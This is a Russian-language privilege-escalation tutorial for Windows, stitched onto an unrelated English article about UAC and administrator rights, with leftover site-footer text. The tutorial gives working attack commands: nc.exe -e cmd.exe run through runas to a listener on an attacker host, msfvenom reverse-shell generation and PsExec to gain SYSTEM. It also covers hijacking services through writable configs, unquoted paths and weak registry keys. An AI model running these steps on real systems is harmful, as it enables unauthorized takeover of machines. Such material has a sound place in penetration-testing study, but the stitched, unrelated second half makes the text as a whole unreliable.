Эксплуатация приложений Windows — это процесс использования уязвимых или плохо защищённых приложений в Windows для получения неавторизованного доступа к целевой системе или ее функциональности. Это может включать в себя попытки SQL инъекций, эксплойты на стороне сервера и другие атаки, направленные на приложения Windows. Приложения можно установить и запускать с правами Администратора/системы. Здесь мы попробуем какое-нибудь настраевоемое приложение и попробуем добиться повышения привелегий, нужно будет следовать шаблону ниже:

  1. Определить приложения, уже установленные в локальной системе Windows.
  2. Сопоставить и понять, есть ли какие-нибудь эксплойты в интернете.
  3. Выполнить инструкции, перечисленные в PoC эксплойта.

Самый простой способ посмотреть список всех приложений это зайти в директорию Program Files и найти приложение, которое нам знакомо. Допустим мы уже находимся на хосте Windows с помощью RDP и в директории Program Files обнаружили программу Iperius Backup, наша задача теперь определить версию этой программы. Можно просто в неё зайти или посмотреть конфигурационный файл. Теперь вбиваем в Google «Iperius Backup 1.4.8.8.5.5 exploit» и как правило Google сразу же нам предлагает Exploit-db. Следуя инструкциям на exploit-db, нужно выполнить указаные там условия для выполнения.


Запуск от имени другого пользователя в Windows
Если вы работаете как пользователь с низкими правами и имеете учётные данные админа, то можете использовать эти данные для повышения своих привелегий. Самый популярный способ — сначала скопировать обратную командную оболочку. Потом подключиться к другой командной оболочке, прослушиваемой на kali, с помощью, исполняемого файла runas.exe, запустим netcat от имени другого пользователя.
C:\Windows\System32\runas.exe /env /noprofile /user:admin "C:\Users\user\Documents\nc.exe {IP} {PORT} -e cmd.exe"
Вернувшись к терминалу вы получите доступ к оболочке с правами админа.


Инструмент PSExec
Утилита командной строки PSExec похожа на команду runas. Скачать её можно

Ссылка скрыта от гостей

.
Разница между этим инструментом и runas в том, что PSExec даёт больше возможностей. Допустим, у вас уже есть доступ к ограниченной командной оболочке и вы нашли логин и пароль админыча. На данном этапе можно использовать MSFvenom для создания обратной командной оболочки, а потом запустить свой слушатель на kali.
msfvenom -p windows/x64/shell_reverse_tcp LHOST={HOST} LPORT={PORT} -f exe -o shell.exe
Теперь запускаем слушателя.
nc -nlvp {PORT}
Вернувшись к нашей ограниченной командной строке, мы должны передать файл shell.exe на хост с Windows. После этого мы можем выполнить его с помощью утилиты PSExec, чтобы получить доступ к командной оболочке с правами SYSTEM.
PsExec64.exe /accepteula -i -u admin -p 123456seven C:\tools\shell.exe
Сияем!


Эксплуатация сервисов в Windows
Эксплуатация сервисов в Windows — это процесс использования доступных в операционной системе Windows сервисов и утилит для получения неавторизованного доступа к удаленным системам или выполнения задач на целевой системе. Сервимы в системе Windows подобны демонам в Linux. Они запускают задачи в фоновом режиме, и большую часть времени те выполняются с привилегиями SYSTEM.

Взаимодействие с сервисами Windows
Нам нужно будет взаимодействовать с сервисами Windows через командную строку. Дабы осилить такую задачу, мы будем использовать такие команды:

Код:

sc.exe qc {SERVICE_NAME} #Просмотреть конфигурацию сервиса
sc.exe config {SERVICE_NAME} {SETTING}={NEW_VALUE} #Редактировать настройки сервиса
sc.exe stop {SERVICE_NAME} #Остановить сервис
sc.exe start {SERVICE_NAME} #Запустить сервис
sc.exe query {SERVICE_NAME} #Узнать статус сервиса

Неверно настроенные разрешения сервиса
Нам нужен сервис, в котором мы имеем право менять конфигурацию. Ниже указаны общие две настройки, которые должны позволить нам переопределить такой сервис:

  • SERVICE_CHANGE_CONFIG;
  • SERVICE_ALL_ACCESS;

Вы можете использовать автоматизированные инструменты, чтобы найти неправильно настроенные сервисы. Мы потом затроним их, но сейчас нам интересна функциональность.
Допустим, утилита обнаружила неправильно настроенный сервис god_damn. В командной строке используйте сервисную программу sc.exe, чтобы запросить конфигурацию этого сервиса.
Допустим, что мы заметили 2 интересных параметра:
BINARY_PATH_NAME : "C:\Program Files\Services\test_service.exe"
SERVICE_START_NAME : LocalSystem
Первый указывает на директорию, где находится исполняемый файл сервиса.
Второй на то, что он работает как системная учётная запись.

Затем мы проверим разрешения LowPrivUser для этого сервиса с помощью утилиты accesschk.exe.
accesschk.exe /accepteula -uwcqv LowPrivUser god_damn
И если мы видим строку SERVICE_CHAGE_CONFIG, мы можем по праву сиять, ибо у нас есть разрешение на редактирование конфигурации сервиса. Будьте внимательны, т.к если у вас не будет разрешений на запуск и остановку сервиса, придётся ждать перезагрузки машины.
Давайте изменим конфигурацию сервиса, чтобы указать нашу обратную оболочку:
C:\Users\user>sc config god_damn binpath="\"C:\Users\user\shell.exe\""
Теперь запускаем слушатель на Kali. Затем нужно перезагуржить сервис, дабы вызвать нашу обратную оболочку.
sc stop god_damn
sc start god_damn

Переопределение сервиса
Давайте теперь представим что прав на изменения конфигурации сервиса у нас нет. Но есть права на изменение исполняемого файла сервиса. Проверить можно с помощью утилиты accesschk.exe:
accesschk.exe /accepteula -quvw " C:\Program Files\Services\test_service.exe"
Если у вас есть права на запись, то всё что вам нужно сделать — это перезаписать test_service.exe вашим shell’ом. После копирования исполняемого файла запускаем слушатель на Kali и перезапускаем сервис.

Путь сервиса без кавычек
Перед тем как эксплуатировать этот недостаток, вы должны знать некоторые основы исполняемых файлов в Windows. Исполняемые файлы можно запускать 2 способами. Первый использует полное имя исполняемого файла:
C:\>program.exe
Второй способ выполнения программ — удалить расширение .exe, если программа находится в переменной PATH Windows.
C:\>ping 127.0.0.1
В этом сценарии у нас нет прав на изменение конфигурации. Итак, цель состоит в том, чтобы подменить путь к исполняемому файлу сервиса для запуска нашего шелла. Предполагая, что администратор сохранил сервис по следующему пути:
C:\Program Files\Admin Services\test\service.exe
ОС будет рассматривать такой путь как 3 разные строки из-за пробелов:

  • С:\Program
  • Files\Admin
  • Services\test\service.exe

В это примере, наша цель — сервис usvc:
sc qc usvc
Вывод:
BINARY_PATH_NAME : "C:\Program Files\Admin Services\test\service.exe"
Затем мы проверим разрешения, которые имеет пользователь с низким уровнем привилегий для этого сервиса:
accesschk.exe /accepteula -uwcqv user usvc
и в выводе мы видим что разрешения на изменение параметров у нас нет, но есть возможность запустить его или остановить.
Теперь наша цель — найти доступный для записи каталог, чтобы сохранить в нём шелл. Проверка C:\Program Files\Admin Services\ показывает, что группа Users имеет разрешения на чтение и запись:
accesschk.exe /accepteula -uwdq "C:\Program Files\Admin Services\"
Вывод:
RW BUILTIN\Users
Всё что осталось сделать можно уместить в 4 этапа:

  1. Скопировать файл с шеллом в директорию C:\Program Files\Admin Services\ и назовите её test.exe. Так как мы хотим использовать переменную пути Services\test.
  2. Запустите слушатель Kali
  3. Перезапустите сервис
  4. Сияем

Слабые разрешения реестра
Иногда сервис хорошо защищён, и это говорит о том, что у нас нет доступа для изменения его конфигурации. Стоит поискать где-нибудь в реестрах ОС Windows. Имейте в виду, что реестр Windows — это база данных конфигураций данной ОС.
Настало время познакомится с WinPeas который поможет нам найти неправильную конфигурацию разрешений записи реестра сервиса.
Допустим инструмент обнаружил уязвимую запись реестра:
HKLM\System\CurrentControlSet\Services\reg_svc
Далее проверим права:
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\reg_svc
Встроенная группа NT AUTHORITY\INTERACTIVE имеет разрешения на чтение и запись. В эту группу входят все пользователи, которые вошли в систему на физическом хосте.
Когда у нас есть необходимые права, проверим запись в реестре по этому пути
reg query HKLM\System\CurrentControlSet\Services\reg_svc
Вывод:
FilePath "C:\Program Files\Services\registryservice.exe"
Осталось дело за малым — переопределить запись реестра service.exe шеллом.
reg add HKLM\SYSTEM\CurrentControlSet\services\reg_svc /v FilePath /t REG_EXPAND_SZ /d C:\reverse_shell.exe /f
Осталось только запустить слушателя на кали, перезапустить сервис и получить шелл.

Использование запланированных задач
Расписание задач может быть использовано для запуска вредоносного ПО или команд, которые помогут мне оставаться незамеченным и контролировать целевую систему удаленно. В линуксе для планировки задач мы использовали cron. В системе Windows cron называется Scheduled Tasks. Задачи могут быть запланированы для выполнения самим пользователем, а пользователи с повышенными правами могут запускать задачи и для других пользователей. Обычно эту уязвимость используют так:

  1. Найти сценарий, который вызовет у вас подозрение, вручную.
  2. Проверить содержимое (возможно, оно показывает, что это запланированная задача в разделе комментариев).
  3. Проверить свои права с помощью accesschk.exe, чтобы узнать, можно ли перезаписать сценарий.
  4. Если да, то перезаписываем всё на шелл.

Автоматизированные интструменты Windows PrivEsc
Автоматизированные инструменты для повышения привилегий в Windows — это комплексы утилит, скриптов и сканеров безопасности, которые помогают автоматизировать процессы увеличения привилегий на Windows системе. Они могут использоваться как легальными экспертами безопасности, так и зловредными хакерами для получения доступа к конфиденциальной информации или контроля над целевой системы. Для системы Windows существует множество автоматизированных инструментов. Есть хорошие, есть плохие. Теперь мы понимаем как работает повышение прав в ОС Windows, мы можем рассмотреть более детально инструменты для автоматизации.

PowerUp
Сценарий PowerUp.ps1 — это служеюная программа, которая пренадлежит набору инструментов PowerSploit. Данный сценарий PowerShell просканирует и определит все неправильные конфигурации в системе.
Перед запуском сценария, мы должны понять основную информацию о том, как запускать сценарии PowerShell. Чтобы выполнить код PowerShell, вам нужно будет использовать PowerShell, так? Что делать если у вас ограниченная командная строка? В этой строке вы можете добавить слово powershell перед выполнением кода. Типо: powershell C:\tools\hack.ps1
Обратим внимание на то, что нам нужно бдует изменить политику выполнения PowerShell на Unrestricted перед запуском сценария PowerUp. По дефолту, Microsoft включает эту функцию для защиты пользователей от вредоносных сценариев PowerShell:
powershell Set-ExecutionPolicy -Scope CerruntUser -ExecutionPolicy Unrestricted -Force
Теперь мы можем запустить сценарий PowerUp. Сначала загрузим его с помощью такой команды:
powershell . .\PowerUp.ps1
Затем, дабы выполнить его, вызовем функцию Invoke-AllChecks:
powershell Invoke-AllChecks
Ссылка на инструмент: GitHub — PowerShellMafia/PowerSploit: PowerSploit — A PowerShell Post-Exploitation Framework
WinPeas
Windows Privilege Escalation Awesome Scripts — Прекрасный инструмент для повышения своих привелегий. Обратите внимание, что на страинце с репозиторием в релизе уже есть скомпилированный вариант программы. Затем перед запуском инструмента WinPEAS, можно добавить запись в реестр с помощтб командной строки, чтобы добавить цвета к выходным данным
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
Когда команда для создания реестра будет выполнена, необходимо закрыть сеанс Windows и снова открыть новую командную строку.
Ссылка на иструмент: GitHub — peass-ng/PEASS-ng: PEASS — Privilege Escalation Awesome Scripts SUITE (with colors)


Заключение
Повышение привилегий в Windows — отличный способ получить доступ к конфиденциальной информации и возможность контролировать целевую систему. Это можно сделать с помощью уязвимостей, скрытых учетных записей или неправильных настроек безопасности в Windows. Но важно понимать что каждый случай уникальный.

Download Windows Speedup Tool to fix errors and make PC run faster

You must have noticed that many programs installed on your machine often require administrative rights to start. Having admin rights in Windows 11/10/8/7 lets you make changes to the system that can affect all other users. In other words, any program that you decide to run as an administrator makes it more accessible to the computer when it runs.

The User Account Control notifies you before changes are made – not all changes, but only those which require administrator-level or elevated permissions. Whenever you run some programs, you may get to see the UAC Prompt first. Only after you give your consent, will the program run. This is a security feature in Windows. The key lies in understanding what can be done and how changes to admin rights or elevated privileges can be achieved without compromising security.

Let us see the various options and scenarios.

  1. Open elevated Command Prompt window
  2. Make program always Run as Administrator
  3. Turn off Admin Approval Mode using Secpol
  4. Grant Elevated Privileges.

Let us see them in detail.

1] Open elevated Command Prompt window

While you can carry out many tasks using the CMD, some tasks required elevated privileges to carry out. Windows 8.1 lets you easily open Command Prompt (Admin) using the WinX menu. This post shows how you can run Command Prompt as an Administrator.

Read: How to create shortcut with elevated privileges to run a Program.

2] Make program always Run as Administrator

If you want to make a program always run with admin privileges, right-click on the program’s executable file, select Properties. Here, select the Run this program as an administrator box. Click Apply > OK. This post will show you in detail, how to make applications always Run as Administrator.

3] Turn off Admin Approval Mode using Secpol

Run secpol.msc to open the Local Security Policy and navigate to Local Policies > Security Settings. In the right pane you will see a setting User Account Control: Turn on Admin Approval Mode. Double-click on it and select Disabled.

Elevated Privileges in Windows

This policy setting controls the behavior of all User Account Control (UAC) policy settings for the computer. If you change this policy setting, you must restart your computer. The options are: (1) Enabled. (Default) Admin Approval Mode is enabled. This policy must be enabled and related UAC policy settings must also be set appropriately to allow the built-in Administrator account and all other users who are members of the Administrators group to run in Admin Approval Mode. (2) Disabled. Admin Approval Mode and all related UAC policy settings are disabled. If this policy setting is disabled, the Security Center notifies you that the overall security of the operating system has been reduced.

Mind you, this WILL downgrade your computer’s overall security!

4] Grant Elevated Privileges in Windows 11/10

A Standard user does not have any special permission for making changes in the server administration. He may not have the following privileges: Adding, deleting, modifying a user, shutting down the server, creating and administering Group Policy Object, modifying file permissions, and so on.

But a user with admin rights can do much more than the standard user. The rights, however, are granted after he is given elevated privileges for each level in one of the groups viz, Local Server, Domain and Forest.

When a user is added to one of the groups they get extra power to do more than the standard user. They get extra User Rights. These are the rights or configurations that control “who” can do “what” to the computer. When configured, each computer can support a unique set of administrators controlling different areas of that computer.

There are over 35 user rights per computer. Some of the most common user rights that control elevated privileges over a computer are listed below:

  • Shut down the system
  • Force shutdown of the remote system
  • Log on as a batch job
  • Log on as a service
  • Backup and Restore files and directories
  • Enable trusted for delegation
  • Generate security audits
  • Load and unload device drivers
  • Manage auditing and security log
  • Take ownership of files and other objects

The user rights are deployed using Group Policy (Local/Active Directory), which allows for consistent control of server access.

Moreover, each file, folder, and Registry key has an Access Control List (ACL). The list provides standard permissions, like

  1. Full control
  2. Modify
  3. Read

These standard permissions enable easier configuration over the objects. In short, ACL is a sort of list of users, groups, and/or computers that are granted permissions over the object associated with the ACL.

These how-to’s may also interest you:

  1. Take ownership & full control of registry keys
  2. Take Full Ownership of Files & Folders.

Anand Khanse is the Admin of TheWindowsClub.com, a 10-year Microsoft MVP (2006-16) & a Windows Insider MVP (2016-2022). Please read the entire post & the comments first, create a System Restore Point before making any changes to your system & be careful about any 3rd-party offers while installing freeware.

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Переустановка камеры windows 10
  • Съехала панель задач на рабочем столе windows 10
  • Photoshop не поддерживает видео в этой версии windows
  • Ноутбук не видит наушники воткнутые в разъем windows 11
  • Планировщик windows журнал отключен